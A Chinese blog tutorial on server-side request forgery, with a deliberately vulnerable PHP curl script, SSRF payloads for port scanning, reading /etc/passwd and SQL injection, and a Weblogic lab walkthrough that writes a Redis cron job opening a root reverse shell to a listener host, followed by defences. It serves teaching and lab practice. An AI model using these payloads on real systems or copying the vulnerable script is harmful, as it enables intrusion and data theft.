服务端请求伪造(SSRF)及漏洞复现

已于 2023-09-05 15:41:20 修改
阅读量6.4k 收藏 82
点赞数 23
分类专栏： Web漏洞原理 文章标签： 网络安全 安全 网络 系统安全
于 2023-09-04 19:35:54 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_58783105/article/details/132676162
版权

文章目录

渗透测试漏洞原理

服务端请求伪造

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL，Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤，就有可能存在“请求伪造"的缺陷。“请求伪造”，顾名思义，攻击者伪造正常的请求，以达到攻击的目的。如果“请求伪造”发生在服务器端，那这个漏洞就叫做“服务器端请求伪造”，英文名字Server Side Request Forgery，简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中，例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

1.1.1 PHP 实现

利用curl实现，需要PHP扩展组件curl支持

该实验需要开启curl

image-20230904153208677

<?php
    if(isset($_REQUEST['url'])){
        $link = $_REQUEST['url'];
        $fileName = './curled/'.time().".txt";		# 在curled目录下新建一个文件，将请求到的内容放到该文件中。
        $curlObj = curl_init($link);		# 初始化
        $fp = fopen($fileName,'w');

        curl_setopt($curlObj,CURLOPT_FILE,$fp);
        curl_setopt($curlObj,CURLOPT_HEADER,0);
        curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

        curl_exec($curlObj);
        curl_close($curlObj);
        fclose($fp);

        if(getimagesize($fileName)){
            header("Content-Type:image/png");
        }

        $fp = fopen($fileName,'r');
        $result = fread($fp,filesize($fileName));
        fclose($fp);
        echo $result;
    }else{
        echo "?url=[url]";
    }
?>

在phpstudy的www目录下创建一个ssrf，然后在ssrf中创建一个curled目录。

image-20230904104632754

在网上复制一个图片的链接https://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

浏览器中输入

http://127.0.0.1/ssrf/ssrf_curl.php?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

页面效果如下：

image-20230904104815771

整个实验的流程：ssrf_curl.php文件会接受来着客户端的URL地址，然后服务器收到URL地址后，根据这个URL地址发起请求，把请求到的图片保存下来。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址，并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤，导致任意URL 输入。

没对响应的结果进行检验，直接输出。

1.3 SSRF 危害

漏洞危害：

  • 内部资产暴露：攻击者可以通过伪造的请求访问内部资源，包括数据库、文件系统、配置文件、读取本地文件等。
  • 敏感信息泄露：攻击者可以利用该漏洞获取敏感信息，例如访问受限 API、执行未经授权的操作等。
  • 进行攻击：攻击者可以通过伪造的请求向其他系统发起攻击，例如内网端口扫描、攻击内网应用、内网Web应用指纹识别、利用其他漏洞等。

2. SSRF 攻防

2.1 SSRF 利用

2.1.1 文件访问
?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

例如：

image-20230904154543467

2.1.2 端口扫描
?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306 
?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

image-20230904154609298

2.1.3 读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd

?url=file:/c:/www/ssrf/ssrf_curl.php

image-20230904155252327

还可以读取ssrf_curl.php文件。

image-20230904155421617

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\phpstudy_2016\www\phpMyAdmin"> 
    #Order allow,deny
	Order deny,allow 
    deny from all			# 拒绝所有
	allow from 127.0.0.1	# 只允许本机

</Directory>

修改httpd_config配置文件。

image-20230904162510218

配置完后在内网中可以访问到phpMyAdmin

image-20230904162346295

如果是外部访问的话，是无法访问到的。

image-20230904162431514

内网应用指纹识别。可以看到phpmyadmin版本

?url=http://127.0.0.1/phpmyadmin/readme
2.1.5 攻击内网Web应用

内网安全通常都很薄弱。

<Directory "c:\phpstudy_2016\www\cms">
	#Order allow,deny 
	Order deny,allow 
	deny from all
	allow from 127.0.0.1

</Directory>

通过SSRF 漏洞可以实现对内网的访问，从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_ users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users

实验：

image-20230904163233765

该页面存在SQL注入漏洞。尝试进行注入

image-20230904163504345

说明：如果直接注入的话页面是没有反应的，因为这里的参数如id，联合查询等，应该给show.php，而现在是传递给了ssrf_curl.php。

解决方式：用注释来替换掉空格

image-20230904164320516

2.2 SSRF 经典案例

链接地址：Weblogic SSRF 到GetShell。

启动docker环境

image-20230904165156601

2.2.1 访问页面

发现404错误

image-20230904164944148

这里访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。

image-20230904165253383

访问指定页面，使用bp抓取数据包，点击Search。

image-20230904165507514

找到指定的数据包信息

image-20230904165630634

右键发送到重发器查看，发现页面报错

image-20230904165810673

使用DNSLog，探测该页面是否存在SSRF漏洞。

image-20230904170137054

bp中修改数据包

image-20230904170255931

查看DNSLog解析结果

image-20230904170231107

解析成功，说明该处存在SSRF漏洞。

2.2.2 漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，在brupsuite下测试该漏洞。

访问一个可以访问的IP:PORT，如http://127.0.0.1:80：

image-20230904170651788

可访问的80端口发生错误。

访问非http协议，则会返回did not have a valid SOAP content-type。

image-20230904171943805

修改为一个不存在的端口，将会返回could not connect over HTTP to server。

image-20230904171139447

通过错误的不同，即可探测内网状态。

通过SSRF漏洞探测到内网中的Redis服务器（docker环境的网段一般是172.*）这里我检测到了172.20.0.2该IP存活。探索该IP有哪些端口处于开放状态，这里探测到了Redis的6379端口开放。

image-20230904171943805

对于Redis数据库有未授权访问的漏洞，利用方式如下：

  • 数据库内容泄露
  • 利用Redis数据库读写文件
    • 编写Webshell，编写计划任务，写ssh公钥
  • RCE漏洞

因为读取数据是看不到服务器响应的，属于无回显状态。所以这里采用写数据的方式，写Webshell的前提是对方需要开启Web服务，而上面测试的时候80端口是未开放的。写ssh公钥的前提是需要对方开启SSH服务。最终采用编写计划任务的方式。

2.2.3 注入HTTP头，利用Redis反弹shell

发送三条redis命令，将弹shell脚本写入/etc/crontab：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.188.185/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

Redis数据库命令是通过http协议进行提交的所以需要进行url编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意：换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/wuhu%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Awuhu HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

kali中监听21端口

image-20230904173503042

修改bp中的数据包信息

image-20230904174733741

点击发送数据包。

反弹成功

image-20230904174642517

查看当前权限为root。

image-20230904174827926

最后补充一下，可进行利用的cron有如下几个地方：

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

2.3 SSRF 防御

2.3.1 过滤输入

  • 限制协议，仅允许 http 或 https 协议。

  • 限制IP，避免应用被用来获取内网数据，攻击内网。

  • 限制端口，限制请求端口为常用端口。

2.3.2 过滤输出

  • 过滤返回信息，只要不符合要求的，全部过滤。

  • 统一错误信息，让攻击无法对内网信息进行判断。

2.3.3 内部网络隔离

将服务器与内部资源隔离开，并使用防火墙等措施限制对内部网络的访问。

2.3.4 授权验证和访问控制

实施严格的授权验证和访问控制机制，确保仅授权用户可以访问受限资源。

2.3.5 安全编码实践

开发人员应遵循安全编码指南，进行输入验证和输出编码，以减少漏洞发生的可能性。

3. SSRF 挖掘

Web功能URL关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现		share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
…
CSRF（跨站请求伪造）和SSRF（服务端请求伪造）漏洞复现：风险与防护方法
weixin_43263566的博客
08-30 1035
CSRF漏洞指的是攻击者利用受害者的身份，在其不知情的情况下发送恶意请求给目标网站。由于目标网站无法区分恶意请求和正常请求，因此会执行该请求。这使得攻击者能够以受害者的名义执行一些不被授权的操作，例如更改密码、发表言论、转账等。不过我这里是测试就直接在浏览器打开脚本复现成功，其他类型的攻击方式操作也是这样。SSRF漏洞指的是攻击者通过操纵目标Web应用程序中的请求来发起伪造请求。攻击者利用这种漏洞可以访问应用程序所在服务器上的本地资源，或者攻击内部网络中的其他系统，并执行恶意操作。
实战分析和精华总结：服务器端请求伪造SSRF漏洞数据劫持、复现、分析、利用及修复过程
代码讲故事
12-03 1287
实战分析和精华总结：服务器端请求伪造SSRF漏洞数据劫持、复现、分析、利用及修复过程。 SSRF漏洞（服务器端请求伪造）：是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）。
漏洞原理——ssrf
Innocence_0的博客
07-19 4322
SSRF (Server-Side Request Forgery，服务器端请求伪造) 是一种由攻击者构造请求，由服务端发起请求的安全漏洞，一般情况下，SSRF攻击的目标是外网无法访问的内网系统，也正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务，当作跳板进行攻击。攻击者利用了可访问Web服务器（A）的特定功能 构造恶意payload；
SSRF漏洞复现(服务器端请求伪造)
人们并不感谢罗辑
08-26 1161
SSRF服务端请求伪造(Server-Side Request Forgery)，是一种由攻击者构造形成由服务器端发起请求的一个漏洞。利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统SSRF攻击的目标是从外网无法访问的内部系统。
别再裸奔了！网络安全SSRF漏洞攻防秘籍，从零基础到精通，收藏这篇就够了！
最新发布
wananxuexihu的博客
03-28 1089
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
SSRF漏洞复现
m0_57485346的博客
03-15 1380
ssrf漏洞复现
漏洞修复-服务端请求伪造（SSRF)
路辉的博客
03-31 2069
点击上方名片关注我，为你带来更多踩坑案例- 什么是SSRF-SSRF(Server-Side Request Forgery，服务器端请求伪造) 是一种由攻击者构造请求，由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统，因为服务器请求天然可以穿越防火墙。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做正...
服务端请求伪造（SSRF）及漏洞复现
weixin_58954236的博客
09-05 2538
服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL，Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤，就有可能存在“请求伪造”的缺陷。“请求伪造”，顾名思义，攻击者伪造正常的请求，以达到攻击的目的。如果“请求伪造”发生在服务器端，那这个漏洞就叫做“服务器端请求伪造”，英文名字Server Side Request Forgery，简称SSRF。
ssrf漏洞复现
m0_55631425的博客
03-27 2909
漏洞复现 cd /usr/local ls cd vulhub-master cd weblogic cd ssrf docker-compose up -d ifconfig查询下本机IP 访问http://192.168.106.139:7001/uddiexplorer/SearchPublicRegistries.jsp ，出现以下界面 这里可能会遇到访问不上的情况，发现物理机无法ping通虚拟机，虚拟机能ping通物理机 只需给VMnet8的虚拟网卡禁用再启用就行 历经千辛万苦终于进来了 1、
SSRF服务器请求伪造
没有网络安全就没有国家安全
08-20 939
本篇主要讲解SSRF服务器请求伪造漏洞并复现漏洞和利用，以及如何绕过与防御
ssrf漏洞之——漏洞复现
V_vevive的博客
08-25 740
6.发送三条redis命令，即可将弹shell的脚本写入/etc/crontab,之后将shell发送到指定的ip的一个端口，ip可自己更改，之后在192.168.16.131上使用nc监听4444端口，输入nc -lvvp 4444 开启监听。将url编码后的命令放到redis服务器的ip后(http://172.22.0.2:6379/命令)，替换url发送，过一会nc处就会自动弹出一个控制172.22.0.2:6379的shell。将页面请求的url改为指定本地文件路径的url。
【SSRF02】服务器端请求伪造——WebLogic架构漏洞复现之从SSRF==＞未授权访问==＞GetShell
Fighting_hawk的博客
03-16 4539
1. 掌握SSRF漏洞挖掘的方法； 2. 掌握利用SSRF漏洞进行内网扫描； 3. 本实验中未涉及SSRF利用时绕过的方法； 4. 后续将研究如何成功反弹shell。
Weblogic SSRF漏洞复现
K_ShenH的博客
06-24 1177
Weblogic SSRF漏洞
Web渗透-SSRF服务端请求伪造
WolvenSec的博客
06-22 1167
SSRF（Server-Side Request Forgery，服务器端请求伪造）是一种由攻击者利用漏洞服务器发送恶意请求的攻击方式。SSRF漏洞通常出现在服务器端的web应用中，应用允许用户提供的输入被服务器用来发起请求，而没有对输入进行充分的验证或限制。这使得攻击者可以构造恶意请求，访问内部资源或服务，甚至在某些情况下，控制服务器。
web渗透--19--服务端请求伪造攻击（SSRF）
武天旭的博客
09-12 2537
1、漏洞描述 服务端请求伪造攻击(Server-side Request Forgery): 很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL，web应用可以获取图片，下载文件，读取文件内容等。这个功能如果被恶意使用，可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Serv...
SSRF：服务端请求伪造
weixin_42147992的博客
05-15 318
SSRF简介 SSRF，Server-Side Request Forgery，服务端请求伪造，是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。 漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。（也就是当前网页对其他服务器的资源进行请求，并未检测目标服务器的地址，可以随意篡改） 攻击者...
pikachu SSRF
01-14
### Pikachu Project SSRF Vulnerability Details and Solutions #### Overview of the Pikachu Platform The Pikachu platform serves as a practical cybersecurity training ground designed to enhance users' skills and knowledge in dealing with various security threats[^1]. This environment allows learners to practice identifying vulnerabilities like Server-Side Request Forgery (SSRF). #### Understanding SSRF Vulnerabilities within Pikachu An SSRF vulnerability occurs when an attacker can manipulate server-side code to make HTTP requests to arbitrary domains or internal services on behalf of the web application. In the context of Pikachu, this issue arises due to improper handling of user-supplied input that is used directly by functions such as `file_get_contents()` or `curl_exec()` without proper validation or sanitization[^4]. For instance, if there exists a feature where users submit URLs which are subsequently fetched using these PHP functions, attackers could exploit it by submitting malicious payloads leading to unauthorized access to sensitive information or even remote systems. #### Common Issues Encountered During Exploitation Attempts Users have reported encountering parse errors while attempting exploits against the SSRF challenge provided by Pikachu. Specifically, one report mentions a syntax error occurring at line 15 within the script located under `/vul/ssrf/backup/ssrf_curl.php`[^2]. Such issues may stem from incorrect coding practices during development phases but also highlight potential areas requiring attention for both developers and testers alike. Another common problem involves receiving "404 Not Found" responses after modifying parameters intended to probe local network resources via SSRF techniques[^3]. These outcomes suggest misconfigurations either in how inputs are processed internally or restrictions imposed upon outbound connections originating from the affected service. #### Mitigation Strategies Against SSRF Attacks To mitigate risks associated with SSRF attacks: - Validate all external data before processing. - Restrict allowed protocols and schemes (`http`, `https`) only. - Implement strict URL whitelisting policies whenever possible. - Utilize sandbox environments isolated from critical infrastructure components. Additionally, ensuring up-to-date software versions along with regular patch management helps reduce exposure to known vulnerabilities exploited through SSRF vectors. ```php // Example Code Snippet Demonstrating Safe Usage Pattern function safe_fetch_url($url){ $allowed_hosts = ['example.com', 'api.example.org']; // Parse given URL into its constituent parts $parsedUrl = parse_url($url); // Ensure scheme matches expected values ('http://'/'https://') if (!in_array(strtolower($parsedUrl['scheme']), ['http','https'])) { throw new Exception('Invalid protocol'); } // Verify host belongs to pre-approved list if(!in_array($parsedUrl['host'], $allowed_hosts)){ throw new Exception('Unauthorized domain requested.'); } return file_get_contents($url); } ``` --related questions-- 1. How does implementing URL blacklisting compare to whitelisting regarding effectiveness? 2. What measures should be taken post-exploitation discovery concerning SSRF flaws? 3. Can you provide examples of real-world incidents involving SSRF exploitation? 4. Are certain programming languages more prone than others towards introducing SSRF bugs? Why? 5. Discuss best practices around securing third-party API integrations susceptible to SSRF attacks.
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值